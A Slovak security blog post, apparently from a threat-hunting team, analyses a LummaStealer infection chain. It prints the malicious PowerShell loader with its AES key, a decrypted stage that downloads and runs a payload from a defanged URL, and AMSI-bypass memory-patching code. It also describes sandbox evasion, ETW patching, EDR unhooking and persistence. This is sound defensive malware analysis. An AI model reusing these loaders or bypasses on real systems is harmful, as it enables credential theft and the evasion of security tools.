LummaStealer: Neviditeľný zlodej vo vašej sieti

  • pondelok, apr 14, 2025
Singel-post cover image

IstroSec Managed Defense tím v rámci svojich služieb ponúka službu threat-hunting, vďaka ktorej sme odhalili a včas mitigovali aktívnu kampaň útočníkov. Medzi každodenné rutinné huntingové dopyty patrí aj analýza spustených PowerShell príkazov používateľov.

Pri tomto náleze bol threat-hunting vykonaný v nástroji Microsoft Sentinel, do ktorého je integrované posielanie záznamov (logov) napríklad z XDR produktu Microsoft Defender for Endpoint, Microsoft Entra ID a ďalšiích.

Pokiaľ náš analytik zistí, že došlo k spusteniu podozrivého príkazu, po analýze aktivity upovedomí kompetentné osoby klienta, aby vykonali vhodné kroky na mitigáciu hrozby.

V tomto prípade išlo o ​LummaStealer malvér. Je to typ infostealeru, ktorý bol prvýkrát identifikovaný v auguste 2022. Jeho hlavným cieľom je kradnúť citlivé informácie z infikovaných zariadení, vrátane prihlasovacích a bankových údajov, súborov cookie, údajov z kryptopeňaženiek a ďalších osobných informácií. Malvér je napísaný v programovacom jazyku C a je známy svojou modularitou, čo umožňuje jeho prispôsobenie a rozšírenie o ďalšie funkcie.​

LummaStealer sa šíri prostredníctvom rôznych kanálov, vrátane phishingových e-mailov, falošných aktualizácií softvéru a infikovaných webových stránok. Jeho vývojári pravidelne aktualizujú jeho funkcionalitu a metódy šírenia, aby sa vyhli detekcii bezpečnostnými riešeniami.​

V súčasnosti prebiehajú aktívne kampane zamerané na šírenie LummaStealeru, pričom útočníci neustále hľadajú nové spôsoby, ako infikovať zariadenia a získať citlivé údaje od používateľov.

Počas hĺbkovej technickej analýzy malvéru sme odhalili všetky maskovacie techniky, ktoré využíva na to, aby jeho aktivita na systéme nebola odhalená. V analýze takisto opisujeme spôsob akým sa tento malvér časť po časti vystavia do svojej plnej podoby a akým spôsobom odosiela údaje útočníkom.

Jedným zo zaujímavých spôsobov akým malvér komunikuje s útočníkmi je, že LummaStealer zneužije platformu Steam, kde útočníci ukrývajú C2 (Command & Control) servery priamo v menách používateľských profilov. Malvér si tieto profily sťahuje a extrahuje z nich adresy C2 serverov, s ktorými následne komunikuje a odosiela im ukradnuté údaje. Tento spôsob umožňuje útočníkom dynamicky meniť C2 infraštruktúru, pričom obchádza tradičné bezpečnostné mechanizmy a vyhne sa blokovaniu statických domén.

V blogu sme okrem podrobných zistení takisto spomenuli detailné postupy a nástroje, ktoré boli počas analýzy použité. Išlo najmä o techniky deobfuskácie kódu a reverzného inžinierstva, pričom sme nevynechali ani analýzu domén, s ktorými malvér aktívne komunikoval.

Spustenie príkazu používateľom

Používateľ spustil nasledujúci príkaz:

c:\windows\system32\windowspowershell\v1.0\powershell.exe
"powershell.exe" -w 1 -ep Unrestricted -nop function NPmFjuqW($SunqQLgp){-split($SunqQLgp -replace '..', '0x$& ')};$aMDtV=NPmFjuqW('FFAC95C81568E1F565F8ABDF8DEED0564BE00D61A3E ... 5C23429B29C6145CDEAD65E3542929');$epht=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((NPmFjuqW('616D69546F764154716653685445596C')),[byte[]]::new(16)).TransformFinalBlock($aMDtV,0,$aMDtV.Length)); & $epht.Substring(0,3) $epht.Substring(3) 

V príkaze bol identifikovaný algoritmus šifrovania AES: Security.Cryptography.Aes

Kód používa 3 dôležité premenné:

  1. Zašifrované dáta
FFAC95C8160DAE3E32E664423057341D6844F1D104385EE5F1CE21FC08524F0095302D71A3B774ADE21DBD23621F1511694E9C24C1F574DBC312FEDBABD222D0AB253F41A54FE1CFE4AF3F073DD2CC2CA5DEFB9E186D1E535EC3C4DCF46311F6D28EC4BD37DBC9F5CFFFEBBC5034DF99FA2FB2524F355EF4B81B124F989C5F61A618D2637C368E5C472F63B62EEE1CE7728C0932759927597095CD3FB3FD76FF7B30EB0AAA3CCAF5E011667404AF82E2FC720AD12865B62404B5812841FF21BC5D9D0F67839479D841C8BE5B5F6106B81B364F470BE4EBCF6DC33C9880060F227F5B4F00D2588F51A734CCF68B521C29310B708E484BA2855A30D8C35C8C17F96961A203C03AE31DEE3B14F423A5BC120BF2BD2382A7B144C6A7AFD359AF1835C02367D7A4719C527A86B448D671379CD37E3E2EFB110311A3C835D18CE6AB4229EDB66BFB2566AC3D49DE776EE255BA07D9F9E8D2830203ADFAD92CC47561A0240ACDA3D29D46BD93B6B671E3F179ACA84692DBAEA5EB90212E3E6C99BED75322D5AE757F0EFBCAAB9BFE133F02F8BE833AD941867DADF38940B6E79861FFCB2B436FDEEAD0B41A1E31687A6B6B6350EB7B01CB7898FC3A1EFB027155ED83A19CAF845CD805ED49E716F65EF196D1217A3576BDF9F0CB6225DEEAC9CED4BBD2AB0F74CE9E84A1BD97D8632B34F94759B1C98ECD0BF6E71E2DE31EE5837A801AA6B83FF11D0839611BDF6E2E4A9D5FDA47755A724DD10D3725DD130746417A25AF5EEA5772F38F98C28C39C68F20B6DB22F6647EC54481F8AE6A705BC04418B945C71F88C40B481FB3C5FA670F6BD3C8DE96EB3426C8ED81910C61E34E465125EDAC726A0C6EB67FBAC1006FD28BCEBE187C4C1EC9865EA5B1F00EDC7FB7DE0A7391B3286D57EED24460496459B6635189A896FED83CCEC4E1555A1D1DBA2AC727D710EF317F2E9B778D1791632F0411382D2FEF62E5E5DAF96CB132C2550612DF16B2E0C296513B3999B99471A8377E6A67779088A9E999B6267BF31537EEF568E1F565F8ABDF8DEED0564BE00D61A3E829549F21D37B1F0F0A66337A36AC4B4DEA8604B452801ABC6C006EB5B6600FF706D376D339BFF81B3A1744571FDF08028DE3729798959F0B9B2FB537A6265FB378AC17062CF75A730C22FED25F71C93CB5B06E7515CE01738775BD926B73B9370268763BCAA43177156CCF97464BC9CF894318A38EEBCA5192D9BF28A228E4505D25EF03E13043CA6B251D9D1BE3296482C16B137D643BE30219C87B41471C40C614515DEB0CC536816B388338A38E435C23429B29C6145CDEAD65E3542929
  1. Kľúč
616D69546F764154716653685445596C
  1. Inicializačný vektor rovný šestnástim nulovým bajtom
00000000000000000000000000000000

Kód automaticky dešifruje dáta a následne ich znovu spustí.

Dešifrované dáta

Po dešifrovaní inicializačného škodlivého príkazu sme získali ďalší PowerShell skript:

iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','hidden','-ep','bypass','-nop','-Command','SI Variable:/eR ([Net.WebClient]::New());SI Variable:1VI ''hxxps://scionoutmatchsmoked[.]shop/b313d4a4588bd2e7bc9ece877caba58a.png'';.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|Get-Member|?{$\_.Name -ilike ''\*d''}).Name)($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$\_.Name -ilike ''\*Com\*e''}).Name)(''\*-Ex\*n'',1,$TRUE),[System.Management.Automation.CommandTypes]::Cmdlet)(GV eR).Value.(((([Net.WebClient]::New()|Get-Member)|?{$\_.Name -ilike ''\*nl\*g''}).Name))((Get-ChildItem Variable:/1VI).Value)';$YQllGjC = $env:AppData;function mgYjmdblp($LkwJcqXh, $wzHtGpjNY){curl $LkwJcqXh -o $wzHtGpjNY};function tZqiChQ(){function lSRS($umqr){if(!(Test-Path -Path $wzHtGpjNY)){mgYjmdblp $umqr $wzHtGpjNY}}}tZqiChQ;

Najdôležitejšou časťou tohto kódu je webová adresa

hxxps://scionoutmatchsmoked[.]shop/b313d4a4588bd2e7bc9ece877caba58a[.]png

Táto URL adresa totiž obsahuje dlhý obfuskovaný PowerShell skript. Skript vykonáva ďalšiu škodlivú činnosť, pričom je predchádzajúcim príkazom ďalej spúšťaný.

Obfuskovaný skript

Obfuskovaný škodlivý skript obsahoval približne 68 000 riadkov, z ktorých väčšina vyzerala ako na nasledujúcom screenshote:

obfuscated Powershell script

Obr. 1 - Obfuscated Powershell script

Dôležité časti skriptu sa však nachádzali až na konci pričom išlo o:

  1. Dáta zašifrované pomocou XOR algoritmu a ďalších pridružených operácií
[Byte[]]$dsahg78das = 83,50,53,122,68,84,111,48,76, 
....
....
....
9,71,108,107,65,87,86,54,89,65,61,61;

Takýmto spôsobom bolo v premennej $dsahg78das uložené obrovské množstvo maximálne trojciferných čísel.

  1. Dešifrovacia funkcia
$qxvCMUfL = ($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$jnWcLtTbZUSzI("$gdfsodsao");
$hDxQkAdLmfGFYz = ($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$jnWcLtTbZUSzI(
    ($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$fXGShHvyZIux(
        ($UKwdjgQoF -as [Type])::$CEHRbAwUriGY(
            ($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$fXGShHvyZIux($dsahg78das)
        )
    )
);
(($xyQOClkJeMZuzb -as [Type])::($HcvBMwFDg)(
    (($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$fXGShHvyZIux(
        $(for($i=0;$i-lt$hDxQkAdLmfGFYz.$yEnJwgIfxat;){
            for($j=0;$j-lt$qxvCMUfL.$yEnJwgIfxat;$j++){
                $hDxQkAdLmfGFYz[$i]-bxor$qxvCMUfL[$j];
                $i++;if($i-ge$hDxQkAdLmfGFYz.$yEnJwgIfxat){
                    $j=$qxvCMUfL.$yEnJwgIfxat
                }
            }
        }))))).($iAkFLPWRlV)()

Po deobfuskovaní kódu boli identifikované nasledujúce premenné so svojimi hodnotami:

$yEnJwgIfxat = length
$gdfsodsao = AMSI_RESULT_NOT_DETECTED
$CEHRbAwUriGY = FromBase64String
$fXGShHvyZIux = GetString
$xyQOClkJeMZuzb = Scriptblock
$HcvBMwFDg = Create
$jnWcLtTbZUSzI = GetBytes
$AtYFioCQy = UTF8
$AkFLPWRlV = Invoke
$UKwdjgQoF = System.Convert
$olmLabXpFVjDi = System.Text.Encoding

Po deobfuskovaní kódu bolo zistené, že kód využíva XOR šifrovanie spolu s AMSI bypass. Vstupné údaje uložené v premennej $dsahg78das sú najprv dekódované pomocou Base64 a potom prevedené na bajty.

Poznámka: AMSI bypass je technika, ktorú malvér používa na obídenie bezpečnostných kontrol systému Windows. AMSI (Antimalware Scan Interface) umožňuje antivírusovým riešeniam analyzovať skripty a detegovať škodlivý kód, no útočníci ho často obchádzajú úpravou pamäte alebo šifrovaním príkazov, aby sa vyhli detekcii.

Premenná $qxvCMUfL slúži ako XOR kľúč, ktorý je generovaný z hodnoty AMSI_RESULT_NOT_DETECTED prevedenej na bajty cez UTF8. Kľúč sa následne použije v cykle, kde sa každý bajt šifrovaných dát $hDxQkAdLmfGFYz dešifruje pomocou operácie -bxor.

Výsledný dešifrovaný reťazec sa dynamicky premení na ďalší PowerShell skript pomocou ScriptBlock::Create a okamžite sa spustí pomocou Invoke. Celý postup umožňuje obísť detekciu antivírusov, pretože dešifrovanie prebieha v pamäti a škodlivý kód sa spustí bez uloženia na disk.

Finálny PowerShell skript

Skript sa zameriava na manipuláciu pamäte, vyhľadávanie konkrétnych AMSI signatúr a ich následné prepísanie za účelom deaktivácie bezpečnostných mechanizmov systému. Po deaktivácii AMSI načítava a spúšťa ďalší, base64 kódovaný modul, ktorý obsahuje spustiteľný malvér.

Na dynamické manipulácie s pamäťou využíva skript štruktúry a externé metódy definované cez P/Invoke:

  • VirtualQuery: zisťovanie informácií o pamäťových regiónoch
  • ReadProcessMemory: čítanie pamäte procesu
  • WriteProcessMemory: zapisovanie do pamäte
  • VirtualProtect: dočasné zmeny ochrany pamäti
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll",

[bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()),

[Runtime.InteropServices.CallingConvention]::Winapi)

Skript dynamicky vytvorí reťazec signatúry zloženej z častí názvu AmsiScanBuffer na zabránenie priamej detekcie reťazca.

$a = "Ams"  
$b = "iSc"  
$c = "anBuf"  
$d = "fer"  
$signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)

Následne prechádza pamäťové regióny a zisťuje, či obsahujú hľadanú signatúru AmsiScanBuffer:

foreach ($region in $memoryRegions) {
    if (-not (IsReadable $region.Protect $region.State)) {
        continue
    }
    $buffer = New-Object byte[] $region.RegionSize.ToInt64()
    [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, 
    $buffer, $buffer.Length, [ref]$bytesRead)
}

Ak sa v pamäti nachádza AmsiScanBuffer, skontroluje sa, či je možné region prepísať. Potom sa táto signatúra nahradí nulami, čím sa deaktivuje AMSI ochrana:

$replacement = New-Object byte[] $signature.Length

[void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten)

Po deaktivácii AMSI sa načíta Base64 enkódovaný modul, ktorý sa následne dešifruje a spustí.

$a = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ..."

$bytes = [System.Convert]::FromBase64String($a)

[Reflection.Assembly]$assembly = [System.AppDomain]::CurrentDomain.Load($bytes)

$assembly.EntryPoint.Invoke($null, @())

Dekódovaný Base64 reťazec obsahuje škodlivý .NET modul, ktorý je znovu obfuskovaný.

Modul sa načíta priamo do pamäte pomocou System.AppDomain. Modul je spustený bez ukladania súboru na disk, čím sa obchádza antivírusová kontrola.

Modul má jasné znaky binárneho súboru:

začiatok dekódovaného binárneho súboru

Obr. 2 - začiatok dekódovaného binárneho súboru

Prvý spustiteľný .exe súbor

Originálny názov súboru: Ywkxgebbu.exe
SHA-256 hash súboru: b3265d21fd8e204bbd570e924afcf72c0562e8b0d40fb4ab65e9249f04956f24

Pri analýze prvého spustiteľného .exe súboru pomocou nástroja Detect It Easy (DiE) môžeme zistiť, že ide o .NET aplikáciu, ktorá je však chránená pomocou obfuskátora SmartAssembly (https://www.red-gate.com/products/smartassembly).

Výstup z nástroja Detect It Easy (DiE)

Obr. 3 - Výstup z nástroja Detect It Easy (DiE)

Keďže ide o .NET aplikáciu, tak použijeme nástroj dnSpy, ktorý ju dokáže dekompilovať. Po načítaní súboru do dnSpy klikneme pravým tlačidlom na názov spustiteľného súboru Ywkxgebbu.exe a vyberieme možnosť „Go to Entry Point“.

Dekompilácia Ywkxgebbu.exe pomocou dnSpy

Obr. 4 - Dekompilácia Ywkxgebbu.exe pomocou dnSpy

Po dekompilácii kódu môžeme vidieť, že kód je do určitej miery nečitateľný, nakoľko je chránený pomocou SmartAssembly obfuskátora.

Obfuskovaný obsah metódy Main()

Obr. 5 - Obfuskovaný obsah metódy Main()

Odstránenie SmartAssembly ochrany

Pre odstránenie SmartAsembly môžeme použiť nástroj de4dot, ktorý dokáže deobfuskovať .NET spustiteľné súbory.

Deobfuskovanie súboru Ywkxgebbu.exe pomocou nástroja de4dot

Obr. 6 - Deobfuskovanie súboru Ywkxgebbu.exe pomocou nástroja de4dot

Následne dekompilujeme deobfuskovaný súbor „Ywkxgebbu-cleaned.exe“ pomocou dnSpy. Tentokrát je kód už čitateľnejší.

Deobfuskovaný obsah metódy Main()

Obr. 7 - Deobfuskovaný obsah metódy Main()

Analýza kódu spustiteľného súboru

Po spustení súboru sa ako prvé vykoná metóda „Main“. Táto metóda obsahuje 2 funkcionality, a to stiahnutie a dešifrovanie .dll súboru, ktorý následne načíta do pamäte programu. Sťahovanie a dešifrovanie nového súboru sa vykonáva v triede „Class4“, v metóde „s_method2“.

Sťahovanie a dešifrovanie súboru – metóda Class4.s\_method2()

Obr. 8 - Sťahovanie a dešifrovanie súboru – metóda Class4.s_method2()

Po tom, čo sa stiahne súbor z URL adresy „hxxps[://]www[.]mediafire[.]com/file_premium/p5lrhpnvhje0jgp/ytfs[.]wav/file“, sa dešifruje pomocou AES-256 CBC algoritmu, pričom kľuč a inicializačný vektor je pevne zakódovaný v kóde aplikácie (trieda „Class0“, atribúty „string_0“ a „string_1“) – kľuč a IV je možné vyčítať aj zo stringov súboru.

Base64 enkódovaný klúč: „HFqkA5B2F14DvFJVGrXznawsiLhritkWE/Lu+CM1pq8=“

Base64 enkódovaný inicializačný vektor: „+L+leIfSWDFUN1JKwN1HEQ==“

Pevne zakódovaný klúč a IV v atribútoch triedy Class0

Obr. 9 - Pevne zakódovaný klúč a IV v atribútoch triedy Class0

Súbor „ytfs.wav” si stiahneme a jednoducho dešifrujeme napríklad pomocou nástroja CyberChef.

Dešifrovanie nového súboru pomocou nástroja CyberChef

Obr. 10 - Dešifrovanie nového súboru pomocou nástroja CyberChef

Tento dešifrovaný súbor je DLL knižnica, ktorá sa načítava do pamäte aplikácie „Ywkxgebbu.exe“. V rámci tejto DLL knižnice hľadá aplikácia namespace s názvom „blvVtg5N8fRYIhL0lh“, v ktorom sa nachádza trieda „lr8iUHdtMmidM8HJrt“. Následne v tejto triede vyhľadá pomocou reflection metódu „QhkWX3qwr“, vytvorí delegát (Action) a vykoná ju.

Načítavanie DLL knižnice – metóda Class4.s\_method5()

Obr. 11 - Načítavanie DLL knižnice – metóda Class4.s_method5()

Vyhľadávanie určitej triedy v DLL knižnici – metóda Class4

Obr. 12 - Vyhľadávanie určitej triedy v DLL knižnici – metóda Class4

Vyhľadávanie určitej metódy a jej následné spustenie - metóda Class4.smethod\_4()

Obr. 13 - Vyhľadávanie určitej metódy a jej následné spustenie - metóda Class4.smethod_4()

DLL knižnica

Originálny názov súboru: Tglxfeswobr.dll
SHA-256 hash súboru: ef3e7109767e5c39781994773899a87260fca6f55f45abfe541ceb52489a52b9

Táto DLL knižnica je opäť chránená, tentokrát pomocou .NET Reactorobfuskátora (https://www.eziriz.com/dotnet_reactor.htm). Pre zjednodušenie našej analýzy musíme túto knižnicu deobfuskovať.

Výstup z nástroja Detect It Easy (DiE)

Obr. 14 - Výstup z nástroja Detect It Easy (DiE)

Pri otvorení tejto DLL knižnice v dnSpy môžeme vidieť množstvo obfuskovaného kódu. Taktiež je možné vidieť Resources, ktoré sú uložené v danej DLL knižnici. Resources môžu obsahovať nielen grafické prvky, ako sú ikony a tlačidlá, ale aj škodlivý kód, ktorý sa z nich načíta a následne spustí.

DLL knižnica - obfuskovaný kód hlavnej metódy pomocou .NET Reactor

Obr. 15 - DLL knižnica - obfuskovaný kód hlavnej metódy pomocou .NET Reactor

Resources uložené v Tglxfeswobr.dll

Obr. 16 - Resources uložené v Tglxfeswobr.dll

Aplikácia „Ywkxgebbu.exe“ hľadá a spúšťa metódu „QhkWX3qwr“ tejto DLL knižnice, no táto metóda je pred spustením prázdna.

Avšak v prípade, že trieda „lr8iUHdtMmidM8HJrt“ obsahuje statický konštruktor, tak sa vykoná kód v konštruktore tejto triedy ešte pred vykonaním metódy „QhkWX3qwr“.

Empty method QhkWX3qwr

Obr. 17 - Prázdna metóda QhkWX3qwr

Keďže trieda „lr8iUHdtMmidM8HJrt“ takýto statický konštruktor obsahuje, tak sa vykoná kód v ňom.

Ako prvá sa vykoná metóda „Lkk5TTdV9jTa7EmHgcg.I2C5mDTBld()“, ktorá obsahuje množstvo obfuskovaného kódu súvisiaceho s vyhľadávaním a postupným načítavaním Resources, ktoré sa nachádzajú v DLL knižnici.

Static Constructor of the Class "lr8iUHdtMmidM8HJrt" – Obfuscated Code

Obr. 18 -Statický konštuktor triedy \“lr8iUHdtMmidM8HJrt\“ – obfuskovaný kód

Obfuscated Code – Method Lkk5TTdV9jTa7EmHgcg.I2C5mDTBld()

Obr. 19 - Obfuskovaný kód - metóda Lkk5TTdV9jTa7EmHgcg.I2C5mDTBld()

Odstránenie .NET Reactor ochrany

Pre odstránenie .NET Reactor ochrany môžeme použiť nástroj .NETReactorSlayer, ktorý dokáže deobfuskovať tento typ obfuskátora.

Deobfuscator .NET Reactor

Obr. 20 - Deobfuskácia .NET Reactor

Hlavná funkcionalita DLL knižnice

Poznámka: Pre zjednodušenie analýzy boli názvy tried a metód premenované na základe ich funkcionality a argumenty metód pozmenené z obfuskovaných na zmysluplný text.

Po deobfuskácii sa nám vytvorí súbor „Tglxfeswobr_Slayed.dll“, ktorý môžeme načítať do dekompilátora dnSpy. V rámci analýzy sme zistili, že sa najprv dešifrujú a následne načítajú všetky Moduly z Resources, pričom pri niektorých Resources bol použitý aj nástroj Costura (https://github.com/Fody/Costura), ktorý slúži na vloženie potrebných dependencies do Resources DLL knižnice, a to vo formáte „.compressed“.

Hlavná funkcionalita spočíva v pôvodne dekompilovanej triede “GClass0”. Na začiatku sa dešifruje a dekomprimuje jeden z Resources. Dáta z tohto resource nastavujú triedu “Class7”, jej metódy a atribúty na určité hodnoty. Tieto hodnoty následne malvér používa ako svoju konfiguráciu, podľa ktorej vykonáva určité činnosti.

Main functionality of DLL library

Obr. 21 - Hlavná funkcionalita DLL knižnice

Ako malvér postupuje po infiltrácii systému?

Po úspešnej infiltrácii do systému sa malvér nevrhne okamžite na kradnutie dát. Naopak, jeho správanie je sofistikované a premyslené – najprv si starostlivo preverí prostredie, do ktorého sa dostal, a až potom pristúpi k ďalším krokom. Jeho činnosť prebieha v niekoľkých fázach, z ktorých každá má svoj významný cieľ: vyhnúť sa detekcii, zabezpečiť si perzistentný prístup, umožniť vzdialené ovládanie a napokon doručiť samotný hlavný malvér – LummaStealer.

V nasledujúcich častiach sa pozrieme podrobnejšie na jednotlivé fázy tohto procesu, ktoré odhaľujú mieru prepracovanosti a modularity tohto malvéru. Každý krok je dôkazom toho, že LummaStealer nie je len jednoduchý infektor, ale skôr nástroj navrhnutý na dlhodobé a efektívne zneužitie kompromitovaného systému.

Kontrola sandbox prostredia

Malvér pred vykonaním škodlivej činnosti najprv robí kontrolu, či sa náhodou nenachádza v sandbox prostredí bezpečnostného systému alebo v prostredí malvérového analytika. V prípade, že sa program nachádza v sandbox prostredí, tak sa ukončí a nevykoná žiadnu škodlivú aktivitu. Takáto kontrola dokáže sťažiť dynamickú analýzu malvéru.

V metóde „MalwareChecker.is_malware_already_running()“ malvér kontroluje, či náhodou už jeho inštancia nebeží, aby sa nespustil dvakrát.

MalwareChecker.is\_malware\_already\_running()

Obr. 22 - MalwareChecker.is_malware_already_running()

V metóde „SandboxChecker().exit_if_sandbox()“ sa spúšťa ďalšia metóda „is_sandbox_debugger_virtualization_resolution_username()“.

SandboxChecker().exit\_if\_sandbox()

Obr. 23 - SandboxChecker().exit_if_sandbox()

Metóda „is_sandbox_debugger_virtualization_resolution_username()“ používanie niekoľko techník na zistenie prítomnosti sandbox prostredia.

Prvá technika je zistenie, či je daný proces debuggovaný, a to pomocou funkcie „CheckRemoteDebuggerPresent“.

CheckRemoteDebuggerPresent

Obr. 24 - CheckRemoteDebuggerPresent

Druhá technika zisťuje, či malvér nie je spustený v sandboxe. Túto detekciu vykonáva na základe vyhľadávania procesu, ktorý má načítané knižnice „SbieDll.dll“ (Sandboxie) alebo „cuckoomon.dll“ (Cuckoo Sandbox).

Sanbox enviroment check

Obr. 25 - Kontrola sandbox prostredia

Ďalej malvér deteguje, či má počítač dve alebo menej jadier procesoru, čo by opäť mohlo nasvedčovať, že ide o sandbox prostredie.

Processor check

Obr. 26 - Kontrola procesoru

Malvér deteguje, či bol spustený z príkazového riadku – „cmd.exe“.

cmd.exe execution check

Obr. 27 - Kontrola spustenia pomocou cmd.exe

Následne sa zisťuje prítomnosť virtualizačnej platformy.

VM check

Obr. 28 - Kontrola virtualizačnej platformy

Kontroluje sa aj rozlíšenie displeja – malé alebo neštandardné rozlíšenie by mohlo naznačovať, že ide o sandbox prostredie.

Display resolution check

Obr. 29 - Kontrola rozlíšenia displeja

Kontroluje sa, či operačný systém nie je 32-bitový – väčšina moderných zariadení má 64-bitový operačný systém.

OS check

Obr. 30 - Kontrola operačného systému

Kontrolujú sa aj používateľské účty – ak je malvér spustený pod používateľom „john“, „anna“ alebo používateľské meno obsahuje „xxxxxxxx“, tak sa to vyhodnotí ako sandbox prostredie a malvér sa ukončí.

username check

Obr. 31 - Kontrola používateľského mena

Následne sa zavolá metóda „EvasionSleep().wait_some_time()“, ktorá pozastaví proces na 999 ms. Toto môže naznačovať pokus o obídenie bezpečnostného riešenia. Oneskorenie totiž môže malvéru pomôcť vyhnúť sa detekčným mechanizmom, ktoré sledujú podozrivé správanie procesov ihneď po spustení.

EvasionSleep().wait\_some\_time()

Obr. 32 - EvasionSleep().wait_some_time()

Obchádzanie bezpečnostnej ochrany

V rámci obchádzania bezpečnostnej ochrany sa zavolá niekoľko metód, ktoré majú za úlohu umožniť spúšťanie škodlivých príkazov a vypnúť logovanie, ktoré využívajú bezpečnostné systémy.

Ako prvá sa zavolá metóda „AmsiPatcher().patch_AMSI()“. Táto metóda ma za úlohu vypnúť AMSI ochranu. Najprv nájde adresu patriacu funkcii „AmsiScanBuffer“ v rámci knižnice „amsi.dll“. Následne túto funkciu zapatchuje AMSI bypass payloadom, ktorý získa z metódy „getAMSIPayload_32or64bit_OS()“ na základe toho, či je operačný systém 32-bitový alebo 64-bitový.

AmsiPatcher().patch\_AMSI(), getAMSIPayload\_32or64bit\_OS()

Obr. 33 - AmsiPatcher().patch_AMSI(), getAMSIPayload_32or64bit_OS()

Následne sa zavolá metóda „EtwPatcher().patch_Etw()“, ktorá ma za účel zapatchovať Event Tracing for Windows (ETW), ktorý slúži na zbieranie logov pre bezpečnostné systémy. Táto metóda hľadá adresu funkciu „EtwEventWrite“ v rámci knižnice „ntdll.dll“. Následne získa ETW bypass payload z metódy „getETWPayload_32or64bit_OS()“ a pokúsi sa zapatchovať nájdenú funkciu, čím zastaví logovanie škodlivej aktivity na systéme.

EtwPatcher().patch\_Etw(), getETWPayload\_32or64bit\_OS()

Obr. 34 - EtwPatcher().patch_Etw(), getETWPayload_32or64bit_OS()

V rámci ďalšej aktivity sa zavolá metóda „Ntdll_Kernel32_unhooker().unhook_ntdll_and_kernel32()“, ktorá ma za úlohu unhooknuť „ntdll.dll“ a „kernel32.dll“ v prípade, že ide o Windows 10 a vyššie. Metóda volá následne metódu „unhook_dll()“.

Ntdll\_Kernel32\_unhooker().unhook\_ntdll\_and\_kernel32()

Obr. 35 - Ntdll_Kernel32_unhooker().unhook_ntdll_and_kernel32()

Metóda „unhook_dll()“ pozmení mapovanie požadovanej knižnice („ntdll.dll“ alebo „kernel32.dll“), čo má za následok unhookovanie tých častí DLL knižnice, ktoré hookuje EDR systém pre bezpečnostné monitorovanie.

unhook\_dll()

Obr. 36 - unhook_dll()

Následne sa zavolá metóda „DefenderExclusion().add_defender_exclusion()“, ktorá ma za účel pridať výnimku pre malvér. Na pridanie výnimky sa využíva PowerShell príkaz, ktorý sa kóduje do Base64 a následne sa PowerShellom vykoná.

DefenderExclusion().add\_defender\_exclusion()

Obr. 37 - DefenderExclusion().add_defender_exclusion()

Spúšťanie príkazov

Malvér umožňuje spúšťať príkazy v prípade, že mu to konfigurácia nachádzajúca sa v triede „Class7“ umožňuje. Tejto konfigurácii sme sa venovali v sekcii „Hlavná funkcionalita DLL knižnice“. Malvér taktiež dokáže vytvoriť aj ďalší súbor, ktorý následne spustí.

Metóda „PowershellExecuter().execute_powershell()“ umožňuje spúšťať PowerShell príkazy, ak sú nastavené v konfigurácii malvéru.

PowershellExecuter().execute\_powershell()

Obr. 38 - PowershellExecuter().execute_powershell()

Metóda „MalwareDropper().save_malware_tempFolder_and_run()“ umožňuje malvéru uložiť ďalší malvér do Temp priečinka a následne ho spustiť. Toto sa opäť vykoná iba vtedy, ak to konfigurácia malvéru dovoľuje.

MalwareDropper().save\_malware\_tempFolder\_and\_run()

Obr. 39 - MalwareDropper().save_malware_tempFolder_and_run()

Metóda „ExplorerInjector().duplicatehandle_injection_explorer()“ dokáže získať prístup k procesu „explorer.exe“ a následne vykonať škodlivý kód v jeho mene.

ExplorerInjector().duplicatehandle\_injection\_explorer()

Obr. 40 - ExplorerInjector().duplicatehandle_injection_explorer()

Metóda „DecompressorInjector().decompress_and_inject_payload()“ dokáže vložiť škodlivý kód do iného procesu, ak to konfigurácia malvéru vyžaduje.

DecompressorInjector().decompress\_and\_inject\_payload()

Obr. 41 - DecompressorInjector().decompress_and_inject_payload()

PayloadInjector class

Obr. 42 - PayloadInjector class

PayloadInjector class

Obr. 43 - PayloadInjector class

Perzistencia

Malvér sa snaží zabezpečiť perzistenciu, aby v systéme zostal aktívny aj po reštarte zariadenia. To útočníkovi umožňuje dlhodobý prístup a kontrolu nad infikovaným počítačom, čím môže pokračovať v škodlivej činnosti bez potreby opätovnej infekcie.

Metóda „Persistence().persistence_regRunKey_taskScheduler_startupFolderVBS()“ zabezpečuje perzistenciu pre malvér v prípade, že to konfigurácia malvéru požaduje. Perzistenciu vytvára pomocou registry klúča „SOFTWARE\Microsoft\Windows\CurrentVersion\Run“, novej plánovanej úlohy alebo pomocou .vbs skriptu v Startup priečinku.

Persistence - Run key

Obr. 44 - Perzistencia - Run key

Persistence - Scheduled task, Startup folder

Obr. 45 - Perzistencia - Scheduled task, Startup folder

Stiahnutie a spustenie LummaStealeru

Po vykonaní všetkej aktivity nakoniec malvér získa a spustí LummaStealer, ktorý začne exfiltrovať dáta zo zariadenia obete.

Metóda „LummaDownloader().prepare_and_download_lumma()“ zabezpečí spustenie LummaStealer malvéru. V prípade, že konfigurácia malvéru obsahuje zašifrovaný LummaStealer malvér, tak ho odšifruje a spustí, v opačnom prípade sa LummaStealer stiahne z webovej lokality a až potom sa spustí. V našom prípade sa LummaStealer nachádzal zašifrovaný v konfigurácii malvéru.

Metóda „prepare_and_download_lumma()“ najprv zavolá metódu „download_lumma()“, v ktorej sa buď LummaStealer malvér získa z konfigurácie alebo sa stiahne. Následne metóda „prepare_and_download_lumma()“ tento pripravený LummaStealer malvér spustí.

LummaDownloader().prepare\_and\_download\_lumma()

Obr. 46 - LummaDownloader().prepare_and_download_lumma()

download\_lumma()

Obr. 47 - download_lumma()

